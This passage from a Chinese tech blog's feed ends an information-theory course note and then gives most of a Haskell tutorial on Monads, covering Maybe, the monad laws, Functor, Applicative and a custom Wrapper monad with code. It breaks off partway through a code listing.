class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">mi</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><strong>准对称矩阵</strong>：</p><p>每一行都是同一个集合的排列，列不是。但是列可以通过分组，把原来的 n*m 的矩阵，分组成 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4653em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6597em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6597em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 这个 s 个矩阵。</p><p>(待续)</p><p>（<strong>不写笔记了，这门课很多概念就是没有搞清楚，课程要求也是会背公式，计算就可以了。我去理解原理反而有害分数，而且非常费力。</strong>）</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/cs-courses/information-theory/</id>
    <link href="https://www.blog-blockchain.xyz/cs-courses/information-theory/"/>
    <published>2023-05-29T00:15:22.000Z</published>
    <summary>系统阐述信息论基础理论，包括离散信源熵、信道编码、信道容量、香农编码、费诺编码、赫夫曼编码等核心概念，深入探讨信息传输与压缩的数学原理。</summary>
    <title>信息论与编码</title>
    <updated>2026-02-19T16:18:01.151Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="functional language" scheme="https://www.blog-blockchain.xyz/categories/functional-language/"/>
    <category term="Haskell" scheme="https://www.blog-blockchain.xyz/tags/Haskell/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/fp/FP-haskell-1/" title="Haskell(一)入门">Haskell(一)入门</a></li><li><a href="/fp/FP-haskell-2/" title="Haskell(二)函数式编程">Haskell(二)函数式编程</a></li><li><a href="/fp/monad/" title="Haskell(三) Monad">Haskell(三) Monad</a></li><li><a href="/fp/Haskell-summary-toolchain/" title="Haskell(四)总结和工具链">Haskell(四)总结和工具链</a></li><li><a href="/fp/Haskell-epilogue/" title="Haskell(五) 总结和展望">Haskell(五) 总结和展望</a></li><li><a href="/fp/project-euler/" title="Haskell(六) Project Euler 练习1-26">Haskell(六) Project Euler 练习1-26</a></li></ol></blockquote><h2 id="前言">前言</h2><p>我并不是相关数学理论研究者，而是 Haskell 和 Program language 的爱好者，研究水平还比较低，所以理解有错误是可能发生的，非常欢迎交流和指正。文章中引用了其他博客，我都已经明确注明来源和附带链接，如果您是这些博客的作者，也不同意被引用，那么请联系我。本文借用了 GPT4 写作，提供了非常多的指导。AI 正在改变学习的方式。</p><p>另外，我希望读者有一定的近世代数基础，也有一定的编程范式的理解，比如函数式语言（FP），特别是代码讲解都是基于 Haskell。由于我并没有实际的 Haskell 开发经验，所以我不熟悉 <code>Monad</code>的实际应用和用法，这篇文章只是给一个 demo，用于了解编程中的 <code>Monad</code> 的概念。</p><p>最后，对于 PL 和 software analysis 爱好者和研究者，可能我不多的感触是，学习一些抽象代数是很有助于锻炼思维的，不只一个老师这样提过建议了。</p><p>具体内容可以参考：<a href="https://wiki.haskell.org/Monad_tutorials_timeline">https://wiki.haskell.org/Monad_tutorials_timeline</a></p><h2 id="理论介绍">理论介绍</h2><h3 id="Monad-的应用">Monad 的应用</h3><p><code>Monad</code> 是函数式编程中一个重要的抽象概念，它能够帮助我们有效地处理函数组合、副作用等问题。在许多编程语言（如 Haskell、Scala、Rust 等）中，<code>Monad</code> 都有广泛的应用。</p><p>下面是一些常见的<code>Monad</code>及其用途：</p><ol><li><code>Maybe Monad</code>（在一些语言中叫 <code>Option Monad</code>）：这种 <code>Monad</code> 常用于处理可能存在的错误或缺失值。它通常包含两种值：<code>Just a</code>（表示有值）和<code>Nothing</code>（表示无值）。这种方式可以避免显示的错误检查，让代码更简洁。</li><li><code>List Monad</code>：这种 <code>Monad</code> 可以用来处理具有多个可能结果的计算。<code>List Monad</code> 将多个可能的结果视为一种副作用，并提供了一种结构化的方式来处理这种副作用。比如说 <code>[1,2] &gt;&gt;= \x -&gt; return (x+1)</code></li><li><code>IO Monad</code>：这是一个特殊的 <code>Monad</code>，用于处理那些可能带有副作用的 I/O 操作。在纯函数式编程语言中，I/O 操作会破坏函数的纯粹性，因此通过 <code>IO Monad</code>，我们可以在不破坏纯函数性质的情况下，进行 I/O 操作。</li><li><code>State Monad</code>：这种 <code>Monad</code> 可以用来在纯函数式编程中模拟带有状态的计算。通过 <code>State Monad</code>，我们可以在不直接修改变量的情况下，进行状态的更新。</li><li><code>DBIO Monad</code>：这是一种用于数据库交互的 <code>Monad</code>。<code>DBIO</code> 代表数据库 I/O，它允许你以一种声明式、纯函数式的方式编写数据库操作，同时确保操作的原子性和一致性。</li></ol><p>以上只是一些最常见的 <code>Monad</code> 的应用，实际上 <code>Monad</code> 的应用非常广泛。任何可以用<strong>Monad laws</strong>（即<code>Monad</code>的三个基本法则：左单位律、右单位律和结合律）描述的结构，都可以看作是一个 <code>Monad</code>，都可以利用 <code>Monad</code> 提供的优雅、强大的函数式编程工具进行处理。</p><h3 id="Monad-的必要性">Monad 的必要性</h3><p>下面引用的内容来自「什么是 Monad (Functional Programming)？ - <a href="https://www.zhihu.com/question/19635359/answer/172074046">刘月半的回答 - 知乎</a> 」。因为他说明了 <code>Monad</code> 在错误处理方面的优势，简单地说，就是可以通过定义规则，统一地处理，而不是那么复杂每一步都错误处理。</p><blockquote><h2 id="一个自函子范畴上的幺半群">一个自函子范畴上的幺半群</h2><p>程序语言中有一种常见的构造「函子」（functor）。Haskell 里的 Maybe 是个很好的例子：<br>(作者补充：a 可以是一个类型，然后 Maybe 的 Kind 就从 *-&gt;* 变成了 *，可以类比泛型 &gt;)</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">Maybe</span> a = <span class="type">Just</span> a | <span class="type">Nothing</span></span></span><br></pre></td></tr></table></figure><p>(作者补充 *-&gt;* 通过推导变成了 *，但是我们有时候要用第一个，有时候要用第二个，那么 fmap 就是用来提取第二个，提取出来给 f 操作之后又放回 *-&gt;*，变成*)<br>Maybe 之所以是函子，是因为它可以通过 fmap（functor map）把所有的函数拎到「Maybe 空间」里。换而言之，令 f :: a -&gt; b，fmap f :: Maybe a -&gt; Maybe b。fmap 定义如下：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">fmap</span> :: (a -&gt; b) -&gt; (<span class="type">Maybe</span> a -&gt; <span class="type">Maybe</span> b)</span><br><span class="line"><span class="title">fmap</span> f mbx = <span class="keyword">case</span> mbx <span class="keyword">of</span></span><br><span class="line">  <span class="type">Just</span> x  -&gt; <span class="type">Just</span> (f x)</span><br><span class="line">  <span class="type">Nothing</span> -&gt; <span class="type">Nothing</span></span><br></pre></td></tr></table></figure><p>Maybe 可以方便地用来做错误处理。对于那些不支持 Maybe 作输入的函数，我们也可以通过 fmap 兼容之。但是，组合多个会产生 Maybe 的函数很麻烦。比如说这个除法函数：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">safeDiv</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span> -&gt; <span class="type">Maybe</span> <span class="type">Int</span></span><br><span class="line">  safeDiv _ <span class="number">0</span> = <span class="type">Nothing</span></span><br><span class="line">  safeDiv x y = <span class="type">Just</span> (x / y)</span><br></pre></td></tr></table></figure><p>考虑一下表达式：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">case</span> safeDiv a b <span class="keyword">of</span></span><br><span class="line">  <span class="type">Nothing</span> -&gt; <span class="type">Nothing</span></span><br><span class="line">  <span class="type">Just</span> x  -&gt; <span class="keyword">case</span> safeDiv c x <span class="keyword">of</span></span><br><span class="line">    <span class="type">Nothing</span> -&gt; <span class="type">Nothing</span></span><br><span class="line">    <span class="type">Just</span> y  -&gt; <span class="keyword">case</span> safeDiv d y <span class="keyword">of</span></span><br><span class="line">      <span class="type">Nothing</span> -&gt; <span class="type">Nothing</span></span><br><span class="line">      <span class="type">Just</span> z  -&gt; safeDiv e z</span><br></pre></td></tr></table></figure><p>在 JavaScript 界，我们管这样的代码叫「callback hell」。不过这段代码总比下面这段好：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">let</span> x = safeDiv a b</span><br><span class="line">    y = fmap (safeDiv c) x</span><br><span class="line">    z = (fmap . fmap) (safeDiv d) y</span><br><span class="line">    <span class="keyword">in</span> (fmap . fmap . fmap) (safeDiv e) z</span><br></pre></td></tr></table></figure></blockquote><p>他提到的回调地狱，实际上是说 <code>Monad</code> 可以任意层等封装和解封装。「怎样用简单的语言解释 Monad？ - <a href="https://www.zhihu.com/question/24972880/answer/134078723">Belleve 的回答 - 知乎</a>」这里有部分图片，就解释的比较清楚。</p><blockquote><p>使用 join 诠释的话，<code>Monad</code> 会有一个<strong>非常</strong>不同的理解：<code>Monad</code> 是可以增（return/unit）减（join）层数的「箱子」。而 unit 和 join 因为满足某些定律所以形成了一个幺半群（对，这就是那老梗）。<strong>所以，<code>Monad</code> 代表的是层次，而不是顺序。（回想下 CPS，是不是用层次表示顺序的？）</strong></p><img src="http://cdn.blog-blockchain.xyz/202305262331399.png" alt="img" style="zoom: 33%;" /><p>Haskell 的 bind 可以看作 fmap 和 join 的复合</p><img src="http://cdn.blog-blockchain.xyz/202305262331351.png" alt="img" style="zoom:33%;" /><p>首先解释 Endofunctor，Endofunctor 是（不加限制的）箱子，它把类型（一个类型范畴里的对象）T 装进去变成 F(T)，同时还能保证所有函数（态射）A-&gt;B，都有一个带箱子的版本 F(A)-&gt;F(B)。</p><p>而 <code>Monad</code> 呢？就是除了前面的两个箱子，我们还能定义出把任意类型的数值装进箱子的 unit：T-&gt;F(T)，以及把两层箱子只留一层的 join：F(F(T))-&gt;F(T)。</p></blockquote><h3 id="Monad-laws">Monad laws</h3><blockquote><p>下面内容看不太懂，太正常不过了，读者只需要有一个印象。等阅读了后面的代码详解，理解思路和用法，从使用的规律去看待它的性质，会有不一样的体会。</p></blockquote><p>Monad laws 是指三个性质，这些性质定义了一个有效的 <code>Monad</code> 应该如何表现。这些法则在所有的 <code>Monad</code> 实例中都应该成立，以确保在 <code>Monad</code> 的计算中可以进行一些有用的推理和转换。具体来说，这三个法则是：</p><ol><li><p><strong>左恒等法则 (Left Identity)</strong>：如果我们将一个值用 <code>return</code> 放入一个 <code>Monad</code>，然后应用函数 <code>f</code>，那么结果应该和直接将该值应用到 <code>f</code> 是一样的。用公式表示就是 <code>return a &gt;&gt;= f == f a</code><br>比如说，<code>(return 1)</code> 返回了 <code>(Monad m, Num a) =&gt; m a</code> 类型的 monad，然后呢 f 是 (\x -&gt; return (x*2))，类型为 (Monad m, Num a) =&gt; a -&gt; m a。那么得到的结果 <code>(return 5) &gt;&gt;=(\x -&gt; return (x\*2))</code> 应该等于 <code>(\x -&gt; return (x*2)) 5</code></p></li><li><p><strong>右恒等法则 (Right Identity)</strong>：如果我们有一个 <code>Monad</code> 值 <code>m</code>，然后我们用 <code>return</code> 作为 bind 操作的右操作数，那么结果就应该等于原来的 <code>Monad</code> 值。用公式表示就是 <code>m &gt;&gt;= return == m</code>。比如 m 是 <code>return 4</code> 类型为 <code>(Monad m, Num a) =&gt; m a</code>，那么 <code>((return 4) &gt;&gt;= return)</code> 的类型是 <code>(Monad m, Num b) =&gt; m b</code>。</p></li><li><p><strong>结合律 (Associativity)</strong>：当我们有三个操作串在一起时，应用的顺序不应该影响结果。也就是说，我们应该可以在不改变结果的情况下，改变括号的位置。用公式表示就是 <code>(m &gt;&gt;= f) &gt;&gt;= g == m &gt;&gt;= (\x -&gt; f x &gt;&gt;= g)</code>。<br>比如定义 <code>f x= return (2*x)</code>, <code>g x= return (x+1)</code>，<code>m= return 4</code>，注意 <code>return</code> 的优先级很高，需要括号。那么左边应该是 9，类型为 (Monad m, Num b) =&gt; m b， 右边的结果也是完全一样的。注意 <code>m &gt;&gt;= (f&gt;&gt;= g) </code> 语法是错的，因为 g 需要 monad 类型，而不是 <code>(Monad m, Num a) =&gt; a -&gt; m a</code></p></li></ol><p><code>Monad</code> laws 为我们提供了一种方法来推理我们的 <code>Monad</code> 代码，并确保它的行为是一致的。如果你创建自己的 <code>Monad</code> 实例，那么你应该确保这些法则在你的实例中成立。</p><h2 id="代码示例">代码示例</h2><h3 id="基础介绍">基础介绍</h3><p>注意，这是基于 ghc-9.2.7 的 Haskell 版本，语法可能是 9.0 之后的了。另外，前置知识实在太多，比如说介绍 Monad laws 时的类型签名，可能读者理解起来都有些困难。读者可以阅读我的 Haskell 文章：</p><ul><li><p><a href="https://www.blog-blockchain.xyz/fp/FP-haskell-1/">Haskell 入门(一)</a></p></li><li><p><a href="https://www.blog-blockchain.xyz/fp/FP-haskell-2/">Haskell 函数式编程(二)</a></p></li><li><p>如果希望掌握 Haskell，那么一定要完成完成<a href="https://github.com/kowainik/learn4haskell">Learn4Haskell</a></p></li></ul><p>使用 <code>Monad</code> 可以使错误处理更加简洁和高效。这是因为 <code>Monad</code> 提供了一种方式，允许你将可能产生错误的计算组合在一起，<br>同时在计算的过程中，一旦检测到错误，计算就会立即停止，并返回一个表示错误的值。</p><p>我们可以将多个可能产生错误的函数使用 <code>&gt;&gt;=</code> 运算符链接起来。当每一个函数在其运算过程中产生一个错误（即返回 Nothing）时，<br>整个链条上的后续计算就会立即停止，而不需要进一步的错误检查。</p><p>再者，<code>Monad</code> 也可以帮助你处理其他种类的副作用，比如输入/输出、状态变化、异常处理等等。这是因为 <code>Monad</code> 提供了一种将复杂操作封装成单个值的方式，这样你就可以像处理普通的值一样来处理这些操作。<br>在这个过程中，<code>Monad</code> 为你处理了所有复杂的细节。</p><p><code>Monad</code>一般有如下几个部分组成，<strong>任何 <code>Monad</code> 都是一个 <code>Applicative</code>，任何 <code>Applicative </code>都是一个 <code>Functor</code></strong>。</p><blockquote><p>标注:L 对于一个 Monad，表示为 m a,其中 a 叫做 monad 的封装的值，m 叫做 monad 构造器。</p></blockquote><ul><li><strong>Functor</strong>：提供了一个基本的映射操作 <code>fmap</code>。<code>fmap </code>接收一个函数和一个 <code>Functor </code>，然后将这个函数作用于 <code>Functor </code>中封装的值。</li><li><strong>Applicative</strong>：扩展了 <code>Functor</code>，增加了更多操作。它的核心是一个叫做<code> &lt;*&gt;</code> 的操作符，它允许我们通过 <code>liftA2 </code>等函数或者直接使用<code>&lt;*&gt;</code>，对封装好的变量（也就是 m a）操作。此外，<code>Applicative </code>还提供了 <code>pure </code>函数，用于将一个普通的值放入 <code>Applicative </code>上下文中。</li><li><strong>Monad</strong>：再次扩展了 Applicative，提供了一个新的操作<code>&gt;&gt;=</code>(也叫 <code>bind </code>操作)。它接收一个 <code>Monad</code> 值和一个函数，这个函数接收一个普通的值，返回一个 <code>Monad</code> 值。通过 bind 操作，我们可以更方便地将多个 <code>Monad</code> 操作链接在一起。</li></ul><blockquote><p>作者并不熟悉这些定义在数学上的差别</p></blockquote><h3 id="Functor">Functor</h3><p><code>Functor</code> 是能够通过 <code>fmap </code>函数将一个普通函数映射到某种结构中的类型。这使得你可以将函数作用于这种结构中的值，而不需要关心结构的具体内容。可以 f 类比上面的 m。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="type">Functor</span> f <span class="keyword">where</span></span></span><br><span class="line">    fmap :: (a -&gt; b) -&gt; f a -&gt; f b</span><br></pre></td></tr></table></figure><p><code>fmap</code> 可以把 functor 封装的值类型的函数，映射到 functor 的函数。比如说下面 f 只能处理 数值，比如 <code>f 2 =4</code>，g 封装之后 可以处理 <code>f (return 2)</code>，返回 <code>Monad f =&gt; f Int</code> 的 4</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">f</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">f</span> x = <span class="number">2</span> * x</span><br><span class="line"></span><br><span class="line"><span class="title">g</span>:: (<span class="type">Functor</span> f) =&gt; f <span class="type">Int</span> -&gt; f <span class="type">Int</span></span><br><span class="line"><span class="title">g</span> = fmap f</span><br></pre></td></tr></table></figure><h3 id="Applicative">Applicative</h3><p><code>Applicative Functor</code> (通常简称为 <code>Applicative</code>) 是 <code>Functor </code>的一种扩展，提供了在 <code>Functor </code>的基础上进行更复杂操作的能力。<code>Applicative </code>提供了 <code>pure </code>函数，用于将普通值放入 <code>Applicative </code>结构，以及 <code>&lt;*&gt;</code> 操作符，使得你可以在不需要拆解 <code>Applicative </code>结构的情况下进行更复杂的计算。</p><p>下面就通过 pure 代替 return，封装了函数 f，而 <code>&lt;*&gt;::Applicative f =&gt; f (a -&gt; b) -&gt; f a -&gt; f b</code>，所以</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">f</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">f</span> x = <span class="number">2</span> * x</span><br><span class="line"></span><br><span class="line"><span class="title">h</span> :: (<span class="type">Applicative</span> f) =&gt; f (<span class="type">Int</span> -&gt; <span class="type">Int</span>)</span><br><span class="line"><span class="title">h</span> = pure f</span><br></pre></td></tr></table></figure><h3 id="Monad">Monad</h3><p><code>Monad</code> 是 <code>Applicative </code>的一种扩展，提供了更强大的组合操作的能力。特别的，<code>Monad </code>提供了<code>&gt;&gt;=</code>操作符 (也叫 bind 操作)，这个操作可以将一个产生 <code>Monad </code>值的函数应用于另一个 <code>Monad </code>值。这使得你可以根据一个 <code>Monad </code>值的结果来决定进行下一步的计算，这是 <code>Functor </code>和 <code>Applicative</code> 无法做到的。<br>下面是为自定义的 Wrapper 类型，实现了三种特殊的类型类。Wrapper 可以为 Num 类型类的类型，实现自己定义的 +, -, *, 除,返回符号的功能。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">module</span> Main <span class="keyword">where</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 隐藏默认的typeclasee，然后自己重新定义</span></span><br><span class="line"><span class="keyword">import</span> Prelude <span class="keyword">hiding</span> (<span class="type">Applicative</span>, <span class="type">Functor</span>, <span class="type">Monad</span>, <span class="title">fmap</span>, <span class="title">pure</span>, <span class="title">return</span>, (&gt;&gt;=))</span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="keyword">class</span> (<span class="type">Functor</span> <span class="title">f</span>) =&gt; <span class="type">Applicative</span> f <span class="keyword">where</span></span></span><br><span class="line">  pure :: a -&gt; f a</span><br><span class="line">  (&lt;*&gt;) :: f (a -&gt; b) -&gt; f a -&gt; f b</span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="type">Functor</span> f <span class="keyword">where</span></span></span><br><span class="line">  fmap :: (a -&gt; b) -&gt; f a -&gt; f b</span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="keyword">class</span> (<span class="type">Applicative</span> <span class="title">m</span>) =&gt; <span class="type">Monad</span> m <span class="keyword">where</span></span></span><br><span class="line">  (&gt;&gt;=) :: <span class="keyword">forall</span> a b. m a -&gt; (a -&gt; m b) -&gt; m b</span><br><span class="line">  return :: a -&gt; m a</span><br><span class="line"><span class="comment">--------------------------------------------</span></span><br><span class="line"><span class="comment">-- 自定义类型</span></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">Wrapper</span> a = <span class="type">Ok</span> a | <span class="type">Err</span> <span class="type">String</span></span></span><br><span class="line"></span><br><span class="line"><span class="title">ok</span> :: a -&gt; <span class="type">Wrapper</span> a</span><br><span class="line"><span class="title">ok</span> = <span class="type">Ok</span></span><br><span class="line"><span class="comment">--------------------------------------------</span></span><br><span class="line"><span class="comment">-- 实现这些typeclass</span></span><br><span class="line"><span class="class"><span class="keyword">instance</span> <span class="type">Functor</span> <span class="type">Wrapper</span> <span class="keyword">where</span></span></span><br><span class="line">  fmap f (<span class="type">Ok</span> x) = <span class="type">Ok</span> (f x)</span><br><span class="line">  fmap _ (<span class="type">Err</span> msg) = <span class="type">Err</span> msg</span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="keyword">instance</span> <span class="type">Applicative</span> <span class="type">Wrapper</span> <span class="keyword">where</span></span></span><br><span class="line">  pure = <span class="type">Ok</span></span><br><span class="line">  (<span class="type">Ok</span> f) &lt;*&gt; (<span class="type">Ok</span> x) = <span class="type">Ok</span> (f x)</span><br><span class="line">  (<span class="type">Err</span> msg) &lt;*&gt; _ = <span class="type">Err</span> msg</span><br><span class="line">  _ &lt;*&gt; (<span class="type">Err</span> msg) = <span class="type">Err</span> msg</span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="keyword">instance</span> <span class="type">Monad</span> <span class="type">Wrapper</span> <span class="keyword">where</span></span></span><br><span class="line">  (<span class="type">Ok</span> x) &gt;&gt;= f = f x</span><br><span class="line">  (<span class="type">Err</span> msg) &gt;&gt;= _ = <span class="type">Err</span> msg</span><br><span class="line">  return = <span class="type">Ok</span></span><br><span class="line"><span class="comment">--------------------------------------------</span></span><br><span class="line"><span class="comment">-- 实现自定义的操作</span></span><br><span class="line"><span class="class"><span class="keyword">instance</span> (<span class="type">Num</span> <span class="title">a</span>) =&gt; <span class="type">Num</span> (<span class="type">Wrapper</span> <span class="title">a</span>) <span class="keyword">where</span></span></span><br><span class="line">  (<span class="type">Ok</span> x) + (<span class="type">Ok</span> y) = <span class="type">Ok</span> (x + y)</span><br><span class="line">  (<span class="type">Err</span> msg) + _ = <span class="type">Err</span> msg</span><br><span class="line">  _ + (<span class="type">Err</span> msg) = <span class="type">Err</span> msg</span><br><span class="line"></span><br><span class="line">  (<span class="type">Ok</span> x) - (<span class="type">Ok</span> y) = <span class="type">Ok</span> (x - y)</span><br><span class="line">  (<span class="type">Err</span> msg) - _ = <span class="type">Err</span> msg</span><br><span class="line">  _ - (<span class="type">Err</span> msg) = <span class="type">Err</span> msg</span><br><span class="line"></span><br><span class="line">  (<span class="type">Ok</span> x) * (<span class="type">Ok</span> y) = <span class="type">Ok</span> (x * y)</span><br><span class="line">  (<span class="type">Err</span> msg) * _ = <span class="type">Err</span> msg</span><br><span class="line">  _ * (<span class="type">Err</span> msg) = <span class="type">Err</span> msg</span><br><span class="line"></span><br><span class="line">  abs (<span class="type">Ok</span> x) = <span class="type">Ok</span> (abs x)</span><br><span class="line">  abs (<span class="type">Err</span> msg) = <span class="type">Err</span> msg</span><br><span class="line"></span><br><span class="line">  signum (<span class="type">Ok</span> x) = <span class="type">Ok</span> (signum x)</span><br><span class="line">  signum (<span class="type">Err</span> msg) = <span class="type">Err</span> msg</span><br><span class="line"></span><br><span class="line">  fromInteger x = <span class="type">Ok</span> (fromInteger x)</span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="keyword">instance</span> (<span class="type">Fractional</span> <span class="title">a</span>, <span class="type">Eq</span> <span class="title">a</span>) =&gt; <span class="type">Fractional</span> (<span class="type">Wrapper</span> <span class="title">a</span>) <span class="keyword">where</span></span></span><br><span class="line">  (<span class="type">Ok</span> x) / (<span class="type">Ok</span> <span class="number">0</span>) = <span class="type">Err</span> <span class="string">&quot;Division by zero&quot;</span></span><br><span class="line">  (<span class="type">Ok</span> x) / (<span class="type">Ok</span> y) = <span class="type">Ok</span> (x / y)</span><br><span class="line">  (<span class="type">Err</span> msg) / _ = <span class="type">Err</span> msg</span><br><span class="line">  _ / (<span class="type">Err</span> msg) = <span class="type">Err</span> msg</span><br><span class="line"></span><br><span class="line">  fromRational r = <span class="type">Ok</span> (fromRational r)</span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="keyword">instance</span> (<span class="type">Show</span> <span class="title">a</span>) =&gt; <span class="type">Show</span> (<span class="type">Wrapper</span> <span class="title">a</span>) <span class="keyword">where</span></span></span><br><span class="line">  show (<span class="type">Ok</span> x) = <span class="string">&quot;Ok &quot;</span> ++ show x</span><br><span class="line">  show (<span class="type">Err</span> msg) = <span class="string">&quot;Err &quot;</span> ++ msg</span><br><span class="line"><span class="comment">--------------------------------------------</span></span><br><span class="line"><span class="comment">-- 用于显示特性的例子</span></span><br><span class="line"><span class="title">divideAndAdd</span> :: (<span class="type">Eq</span> a, <span class="type">Fractional</span> a) =&gt; <span class="type">Wrapper</span> a -&gt; <span class="type">Wrapper</span> a -&gt; <span class="type">Wrapper</span> a -&gt; <span class="type">Wrapper</span> a -&gt; <span class="type">Wrapper</span> a</span><br><span class="line"><span 